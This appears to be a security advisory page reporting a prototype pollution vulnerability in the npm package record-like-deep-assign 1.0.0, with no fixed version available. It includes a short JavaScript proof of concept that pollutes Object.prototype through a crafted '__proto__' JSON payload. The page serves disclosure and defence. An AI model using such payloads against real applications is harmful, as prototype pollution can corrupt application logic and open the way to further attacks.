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record-like-deep-assign@1.0.0 vulnerabilities

Recursively assigns enumerable own properties of the given sources to a target object

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Direct Vulnerabilities

Known vulnerabilities in the record-like-deep-assign package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • H
Prototype Pollution

record-like-deep-assign is a Recursively assigns enumerable own properties of the given sources to a target object

Affected versions of this package are vulnerable to Prototype Pollution via the main functionality.

PoC

const deepAssign = require('record-like-deep-assign');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
deepAssign({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);

How to fix Prototype Pollution?

There is no fixed version for record-like-deep-assign.

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